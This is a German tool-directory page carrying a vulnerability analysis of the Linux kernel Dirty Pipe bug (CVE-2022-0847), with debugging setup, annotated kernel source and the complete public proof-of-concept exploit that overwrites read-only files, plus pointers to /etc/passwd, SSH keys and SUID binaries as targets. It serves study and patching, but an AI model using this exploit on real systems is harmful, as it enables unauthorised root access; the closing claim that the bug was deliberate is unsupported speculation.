Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2022-0847 — CVE-2022-0847 PoC, Docker und Analyse-Write-up | Kitploit
Tools/GitHubGitHub/chenaotian/cve-2022-0847
Privilege EscalationSchwachstellenanalyseExploitationLernen & BildungBinary-ExploitationLabs & Praxis
GitHubchenaotian/cve-2022-0847

CVE-2022-0847

CVE-2022-0847 PoC, Docker und Analyse-Write-up

Repository anzeigen
257vor 4 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2022-0847 Dirty Pipe Linux-Kernel-Privilege-Escalation-Analyse

[toc]

Dieser Artikel wurde zuerst im Huawei Security WeChat-Konto veröffentlicht; dies ist die Blog-Version (vollständiger).

Erstveröffentlichungslink: https://mp.weixin.qq.com/s/6VhWBOzJ7uu80nzFxe5jpg

Einführung in die Schwachstelle

  • Schwachstellenkennung: CVE-2022-0847 (Alias: Dirty Pipe)
  • Betroffenes Produkt: Linux-Kernel – splice-Syscall
  • Betroffene Versionen: Eingeführt in Linux 5.8 mit Patch f6dd975583bd, behoben in 5.16.11, 5.15.25, 5.10.102
  • Auswirkung: Es kann in jede lesbare Datei ein Inhalt von höchstens einer Seite geschrieben werden (ausreichend), was eine lokale Rechteausweitung ermöglicht.

Umgebung einrichten

Docker für die Schwachstellenanalyse: chenaotian/cve-2022-0847 (falls du nicht darauf zugreifen kannst, habe ich ihn noch nicht hochgeladen)

Enthält:

  • einen kompilierten, verwundbaren und debug-fähigen Kernel 5.13
  • qemu, gdb, Linux-Kernel-5.13-Quellcode
  • Exploit

Starten:

root@kitploit:~
cd ~/cve-2022-0847
gcc exp.c -o exp --static && cp exp ./rootfs && cd rootfs
find . | cpio -o --format=newc > ../rootfs.img
cd ../ 
./boot.sh

Debuggen:

root@kitploit:~
gdb ./vmlinux
target remote :10086
directory /root/linux-5.13
b do_splice
b copy_page_to_iter_pipe 
b pipe_write
ignore 3 15
...
p *(struct pipe_inode_info *) pipe
p (struct pipe_buffer)pipe->bufs[0]

Schwachstellenprinzip

Der kurze Kern der Schwachstelle: Durch den Aufruf der splice-Funktion kann eine Datei per „Zero-Copy“ in die pipe übertragen werden. Die Zero-Copy auf Code-Ebene bedeutet, dass direkt der Datei-Cache-Page (Page Cache) als buf-Seite der pipe verwendet wird. Dabei wird jedoch eine Variable nicht initialisiert, wodurch der Datei-Cache-Page im späteren pipe-Kanal wie ein normaler pipe-Cache-Page behandelt und „weitergeschrieben“ und damit manipuliert werden kann. In diesem Fall markiert der Kernel diesen Cache-Page jedoch nicht als „dirty“, sodass er kurzfristig (bis zum nächsten Neustart o. Ä.) nicht auf die Festplatte geschrieben wird. In dieser Zeit verwenden alle Zugriffe auf die Datei den manipulierten Datei-Cache-Page, wodurch eine „kurzzeitige Möglichkeit, in beliebige lesbare Dateien zu schreiben“ erreicht wird. Damit ist eine lokale Rechteausweitung möglich.

Ort der Schwachstelle

Laut Patch liegt die Schwachstelle in der Funktion copy_page_to_iter_pipe; dort wurde eine Initialisierung von buf->flags hinzugefügt. Es handelt sich also um eine Schwachstelle durch fehlende Variableninitialisierung.

image-20220308170149137

Der Aufruf von copy_page_to_iter_pipe erfolgt im splice-Systemaufruf. Die splice-Funktion (Systemaufruf) überträgt den Dateiinhalt über eine „Zero-Copy“-Methode in die Pipe. Das ist leistungsfähiger als die herkömmliche Methode, den Dateiinhalt direkt in die Pipe zu schreiben. Details folgen weiter unten.

Pipe-Prinzip und pipe_write

Zunächst: Die Schwachstelle trägt den Alias Dirty Pipe. Daher werfen wir einen Blick auf die Pipe (pipe). Die pipe ist ein vom Kernel bereitgestellter Kommunikationskanal, der über die Funktionen pipe/pipe2 erstellt wird und zwei Dateideskriptoren zurückgibt – einen zum Senden von Daten und einen zum Empfangen, ähnlich wie die beiden Enden einer Röhre. Auf die genaue Verwendung gehe ich hier nicht weiter ein.

image-20220309124007780

Kurz zur Implementierung im Kernel: Der Pipe-Cache hat normalerweise eine Gesamtlänge von 65536 Bytes und wird in Seiten verwaltet, insgesamt 16 Seiten (eine Seite 4096 Bytes). Die Seiten sind nicht zusammenhängend, sondern werden über ein Array verwaltet und bilden eine ringförmige Liste. Es werden zwei Listenzeiger gepflegt: einer zum Schreiben (pipe->head) und einer zum Lesen (pipe->tail). Hier wird hauptsächlich die pipe_write-Funktion analysiert:

linux-5.13\fs\pipe.c : 400 : pipe_write

root@kitploit:~
static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
	struct file *filp = iocb->ki_filp;
	struct pipe_inode_info *pipe = filp->private_data;
	unsigned int head;
	ssize_t ret = 0;
	size_t total_len = iov_iter_count(from);
	ssize_t chars;
	bool was_empty = false;
	bool wake_next_writer = false;

	··· ···
    ··· ···
	head = pipe->head;
	was_empty = pipe_empty(head, pipe->tail);
	chars = total_len & (PAGE_SIZE-1);
	if (chars && !was_empty) { 
        //[1]pipe 缓存不为空,则尝试是否能从当前最后一页"接着"写
		unsigned int mask = pipe->ring_size - 1;
		struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
		int offset = buf->offset + buf->len; 

		if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
		    offset + chars <= PAGE_SIZE) { 
            /*[2]关键,如果PIPE_BUF_FLAG_CAN_MERGE 标志位存在,代表该页允许接着写
             *如果写入长度不会跨页,则接着写,否则直接另起一页 */
			ret = pipe_buf_confirm(pipe, buf);
			···
			ret = copy_page_from_iter(buf->page, offset, chars, from);
			···
			}
			buf->len += ret;
			···
		}
	}

	for (;;) {//[3]如果上一页没法接着写,则重新起一页
		··· ···
		head = pipe->head;
		if (!pipe_full(head, pipe->tail, pipe->max_usage)) {
			unsigned int mask = pipe->ring_size - 1;
			struct pipe_buffer *buf = &pipe->bufs[head & mask];
			struct page *page = pipe->tmp_page;
			int copied;

			if (!page) {//[4]重新申请一个新页
				page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
				if (unlikely(!page)) {
					ret = ret ? : -ENOMEM;
					break;
				}
				pipe->tmp_page = page;
			}

			spin_lock_irq(&pipe->rd_wait.lock);

			head = pipe->head;
			··· ···
			pipe->head = head + 1;
			spin_unlock_irq(&pipe->rd_wait.lock);

			/* Insert it into the buffer array */
			buf = &pipe->bufs[head & mask];
			buf->page = page;//[5]将新申请的页放到页数组中
			buf->ops = &anon_pipe_buf_ops;
			buf->offset = 0;
			buf->len = 0;
			if (is_packetized(filp))
				buf->flags = PIPE_BUF_FLAG_PACKET;
			else
				buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
            	//[6]设置flag,默认PIPE_BUF_FLAG_CAN_MERGE
			pipe->tmp_page = NULL;

			copied = copy_page_from_iter(page, 0, PAGE_SIZE, from); 
            //[7]拷贝操作
			··· ···
			ret += copied;
			buf->offset = 0;
			buf->len = copied;

			··· ···
		}
        ··· ···
    }
	··· ···
	return ret;
}
  1. Wenn die aktuelle Pipe nicht leer ist (head==tail bedeutet leere Pipe), dann sind darin noch ungelesene Daten vorhanden. Der head-Zeiger wird geholt, also die zuletzt zum Schreiben verwendete Seite, und deren len und offset werden geprüft (um das Datenende zu finden). Anschließend wird versucht, auf dieser Seite fortzuschreiben.
  2. Es wird geprüft, ob die aktuelle Seite das Flag PIPE_BUF_FLAG_CAN_MERGE besitzt; ist es nicht vorhanden, ist das Fortschreiben auf der aktuellen Seite nicht erlaubt. Oder wenn die aktuell geschriebenen Daten zusammen mit den vorherigen Daten eine Seite überschreiten (also der Schreibvorgang über eine Seitengrenze geht), ist ein Fortschreiben ebenfalls nicht möglich.
  3. Wenn auf der vorherigen Seite nicht fortgeschrieben werden kann, wird eine neue Seite begonnen.
  4. alloc_page fordert eine neue Seite an.
  5. Die neue Seite wird an den Anfang des Arrays gesetzt (möglicherweise wird eine vorhandene Seite ersetzt) und die Werte werden initialisiert.
  6. buf->flag wird standardmäßig auf PIPE_BUF_FLAG_CAN_MERGE gesetzt, da standardmäßig erlaubt ist, auf der Seite fortzuschreiben.
  7. Die zu schreibenden Daten werden kopiert; wenn nicht alles kopiert wurde, wird der Vorgang wiederholt.

Der Schlüssel zur Ausnutzung ist das in splice nicht initialisierte Flag PIPE_BUF_FLAG_CAN_MERGE, denn es bestimmt, ob wir auf einer „nicht vollständig geschriebenen“ pipe-Seite weiterschreiben können.

Von splice zu copy_page_to_iter_pipe

Wie oben erwähnt, verwendet die pipe 16 Seiten als Cache. Die Zero-Copy-Methode von splice besteht darin, die Cache-Seiten der pipe direkt durch die Datei-Cache-Seiten zu ersetzen (der Zeiger der Pipe-Cache-Seite wird auf die Datei-Cache-Seite geändert).

image-20220309124515813

Der Aufrufpfad vom splice-Systemaufruf bis zur verwundbaren Funktion copy_page_to_iter_pipe ist sehr tief; wir analysieren ihn nicht im Detail. Der Aufrufstapel sieht wie folgt aus:

  • SYSCALL_DEFINE6(splice,...) -> __do_sys_splice -> __do_splice-> do_splice
    • splice_file_to_pipe -> do_splice_to
      • generic_file_splice_read (in->f_op->splice_read ist standardmäßig generic_file_splice_read)
        • call_read_iter -> filemap_read
          • copy_page_to_iter -> copy_page_to_iter_pipe

Die verwundbare Funktion copy_page_to_iter_pipe bewirkt im Wesentlichen, dass die Pipe-Cache-Seitenstruktur auf die Datei-Cache-Seite der zu übertragenden Datei zeigt:

linux-5.13\lib\iov_iter.c : 417 : copy_page_to_iter_pipe

root@kitploit:~
static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes,
			 struct iov_iter *i)
{
	struct pipe_inode_info *pipe = i->pipe;
	struct pipe_buffer *buf;
	unsigned int p_tail = pipe->tail;
	unsigned int p_mask = pipe->ring_size - 1;
	unsigned int i_head = i->head;
	size_t off;

	··· ···

	off = i->iov_offset;
	buf = &pipe->bufs[i_head & p_mask];//[1]获取对应的pipe 缓存页
	··· ···
	
	buf->ops = &page_cache_pipe_buf_ops;//[2]修改pipe 缓存页的相关信息指向文件缓存页
	get_page(page);
	buf->page = page;//[2]页指针指向了文件缓存页
	buf->offset = offset;//[2]offset len 等设置为当前信息(通过splice 传入参数决定)
	buf->len = bytes;

	pipe->head = i_head + 1;
	i->iov_offset = offset + bytes;
	i->head = i_head;
out:
	i->count -= bytes;
	return bytes;
}
  1. Zunächst wird anhand der Ringstruktur des pipe-Seitenarrays die Position des aktuellen Schreibzeigers (pipe->head) ermittelt.
  2. Die aktuell zu schreibende Seite wird auf die vorbereitete Datei-Cache-Seite gesetzt und weitere Informationen werden gesetzt, z. B. wird len durch die Parameter des splice-Systemaufrufs bestimmt. Einzig das Flag wird hier nicht initialisiert, was die Schwachstelle verursacht.

Normalerweise sieht pipe->bufs nach der Initialisierung so aus:

image-20220308165052936

Wenn dann gemäß dem oben analysierten pipe_write-Code erneut pipe_write aufgerufen wird, um Daten in die Pipe zu schreiben, zeigt der Schreibzeiger (pipe->head) auf die Seite im obigen Bild. Da flag auf PIPE_BUF_FLAG_CAN_MERGE gesetzt ist, wird angenommen, dass auf dieser Seite weitergeschrieben werden kann, solange die Schreiblänge die Seitengrenze nicht überschreitet:

root@kitploit:~
#define PIPE_BUF_FLAG_CAN_MERGE	0x10	/* can merge buffers */

if (chars && !was_empty) { 
        //[1]pipe 缓存不为空,则尝试是否能从当前最后一页"接着"写
		unsigned int mask = pipe->ring_size - 1;
		struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
		int offset = buf->offset + buf->len; 

    if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
                offset + chars <= PAGE_SIZE) { 
                /*[2]关键,如果PIPE_BUF_FLAG_CAN_MERGE 标志位存在,代表该页允许接着写
                 *如果写入长度不会跨页,则接着写,否则直接另起一页 */
                ret = pipe_buf_confirm(pipe, buf);
                ···
                ret = copy_page_from_iter(buf->page, offset, chars, from);

Page-Cache-Mechanismus des Linux-Kernels

Linux legt geöffnete Dateien im Cache ab; die Cache-Seiten werden nach der Nutzung eine Zeit lang aufbewahrt, um unnötige I/O-Vorgänge zu vermeiden. Bei kurzfristigem Zugriff auf dieselbe Datei wird immer dieselbe Datei-Cache-Seite verwendet, statt die Datei erneut zu öffnen. Wenn wir nun diese Datei-Cache-Seite manipulieren, lesen alle kurzfristigen Zugriffe auf die Datei die manipulierte Seite, wodurch die Ausnutzung abgeschlossen wird.

Schwachstellenausnutzung

Wie bereits beschrieben, ist der Ausnutzungsprozess sehr einfach; wer das Prinzip versteht, kann es ausnutzen. Laut dem Autor lässt er sich grob in folgende Schritte unterteilen:

  1. Eine Pipe erstellen.
  2. Die Pipe vollständig füllen (per pipe_write), damit alle buf (Pipe-Cache-Seiten) initialisiert sind und flag standardmäßig auf PIPE_BUF_FLAG_CAN_MERGE gesetzt ist.
  3. Die Pipe leeren (per pipe_read), sodass beim Übertragen einer Datei über den splice-Systemaufruf die ursprünglichen initialisierten buf-Strukturen verwendet werden.
  4. Die splice-Funktion aufrufen, um die zu manipulierende Datei zu übertragen.
  5. Anschließend weiterhin Inhalte in die pipe schreiben (pipe_write); dabei wird die Datei-Cache-Seite überschrieben und die Datei vorübergehend manipuliert.

Detailliertes Debugging

Nach Schritt 2, nachdem die Pipe gefüllt und wieder geleert wurde, sieht man, dass die bufs-Struktur die Daten enthält, die später für die nicht initialisierten Inhalte wiederverwendet werden:

root@kitploit:~
p *(struct pipe_inode_info *) pipe
p (struct pipe_buffer)pipe->bufs[0]

image-20220308173705037

Nachdem die Datei per splice übertragen wurde, sieht es so aus. Dabei ist flag nicht initialisiert. Außerdem sollte len so klein wie möglich gesetzt werden, denn je kleiner es ist, desto länger können wir später beim „Fortschreiben“ schreiben. Hier wird es auf 1 gesetzt, als Offset dient die Startadresse, die wir manipulieren möchten. Dabei wird der Zeiger pipe->bufs->page auf die Startadresse gesetzt:

root@kitploit:~
splice(fd, &offset, p[1], NULL, 1, 0);

image-20220308165052936

Nochmals pipe_write: Da die Bedingung zum Fortschreiben erfüllt ist, wird direkt auf der Seite weitergeschrieben:

image-20220308174556226

Exploit

Nicht von mir geschrieben, sondern aus der Schwachstellenmeldung:

root@kitploit:~
/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <[email protected]>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
	if (pipe(p)) abort();

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
	static char buffer[4096];

	/* fill the pipe completely; each pipe_buffer will now have
	   the PIPE_BUF_FLAG_CAN_MERGE flag */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		write(p[1], buffer, n);
		r -= n;
	}

	/* drain the pipe, freeing all pipe_buffer instances (but
	   leaving the flags initialized) */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}

	/* the pipe is now empty, and if somebody adds a new
	   pipe_buffer without initializing its "flags", the buffer
	   will be mergeable */
}

int main(int argc, char **argv)
{
	if (argc != 4) {
		fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
		return EXIT_FAILURE;
	}

	/* dumb command-line argument parser */
	const char *const path = argv[1];
	loff_t offset = strtoul(argv[2], NULL, 0);
	const char *const data = argv[3];
	const size_t data_size = strlen(data);

	if (offset % PAGE_SIZE == 0) {
		fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
		return EXIT_FAILURE;
	}

	const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
	const loff_t end_offset = offset + (loff_t)data_size;
	if (end_offset > next_page) {
		fprintf(stderr, "Sorry, cannot write across a page boundary\n");
		return EXIT_FAILURE;
	}

	/* open the input file and validate the specified offset */
	const int fd = open(path, O_RDONLY); // yes, read-only! :-)
	if (fd < 0) {
		perror("open failed");
		return EXIT_FAILURE;
	}

	struct stat st;
	if (fstat(fd, &st)) {
		perror("stat failed");
		return EXIT_FAILURE;
	}

	if (offset > st.st_size) {
		fprintf(stderr, "Offset is not inside the file\n");
		return EXIT_FAILURE;
	}

	if (end_offset > st.st_size) {
		fprintf(stderr, "Sorry, cannot enlarge the file\n");
		return EXIT_FAILURE;
	}

	/* create the pipe with all flags initialized with
	   PIPE_BUF_FLAG_CAN_MERGE */
	int p[2];
	prepare_pipe(p);

	/* splice one byte from before the specified offset into the
	   pipe; this will add a reference to the page cache, but
	   since copy_page_to_iter_pipe() does not initialize the
	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
	--offset;
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
	if (nbytes < 0) {
		perror("splice failed");
		return EXIT_FAILURE;
	}
	if (nbytes == 0) {
		fprintf(stderr, "short splice\n");
		return EXIT_FAILURE;
	}

	/* the following write will not create a new pipe_buffer, but
	   will instead write into the page cache, because of the
	   PIPE_BUF_FLAG_CAN_MERGE flag */
	nbytes = write(p[1], data, data_size);
	if (nbytes < 0) {
		perror("write failed");
		return EXIT_FAILURE;
	}
	if ((size_t)nbytes < data_size) {
		fprintf(stderr, "short write\n");
		return EXIT_FAILURE;
	}

	printf("It worked!\n");
	return EXIT_SUCCESS;
}

Erfolgreiche Rechteausweitung:

root@kitploit:~
gcc exp.c -o exp --static
./exp file offset string

image-20220308172336511

Bislang wird nur der Effekt des Schreibens in beliebige Dateien demonstriert. Für die tatsächliche Ausnutzung könnte man z. B. /etc/passwd, SSH-Keys oder SUID-Dateien ändern, um eine echte Rechteausweitung durchzuführen. Hier wird das nicht praktisch vorgeführt (ich mache ja ohnehin keine Penetrationstests).

Kleine Einschränkungen (harmlos)

  1. Die Dateigröße kann nicht geändert werden (die Datei kann nicht vergrößert werden).
  2. Die Länge eines einzelnen Schreibvorgangs darf eine Seite (4 KB) nicht überschreiten.

Gegenmaßnahmen

Empfohlene Lösung

Da es sich um eine Kernel-Schwachstelle handelt, gibt es derzeit keine gute Abhilfe. Es wird empfohlen, den Kernel auf eine der behobenen Versionen zu aktualisieren: 5.16.11, 5.15.25, 5.10.102 oder höher.

Schwachstellenprüfung (Tool)

Basierend auf dem vom Schwachstellenmelder veröffentlichten POC wurde ein einfaches Verifikationswerkzeug geschrieben. Bei vorhandener Schwachstelle wird „There is CVE-2022-0847“ ausgegeben:

image-20220308202244668

Ist die Schwachstelle nicht vorhanden, wird „You are safe!“ ausgegeben.

Referenzen

Schwachstellenmeldung: https://dirtypipe.cm4all.com/

Verschwörungstheorie

Das Flag PIPE_BUF_FLAG_CAN_MERGE kommt insgesamt fünfmal vor: einmal in der #define-Deklaration, zweimal in pipe_write. Die restlichen zwei Male befinden sich in splice:

image-20220308211006312

Außerdem zeigt der Code, an dem diese Variable beteiligt ist, dass ihre Bedeutung darin besteht, ob auf der aktuell letzten pipe-Cache-Seite weitergeschrieben werden darf. Normalerweise ist eine von der pipe selbst angeforderte Seite eine gewöhnliche Seite; weiterschreiben ist dann kein Problem. Wann darf man nicht weiterschreiben? Wenn die Seite nicht von der pipe selbst angefordert wurde, darf man sie nicht ohne Weiteres ändern. Nach dem aktuellen Stand betrifft fast nur splice Seiten, die nicht von der pipe selbst stammen. Mit anderen Worten: Das Flag PIPE_BUF_FLAG_CAN_MERGE wurde für splice entworfen. Und dann sagt ihr mir, dass ihr es nicht initialisiert? Deshalb vermute ich, dass diese Schwachstelle keineswegs nur Schlamperei war ...

Tool herunterladen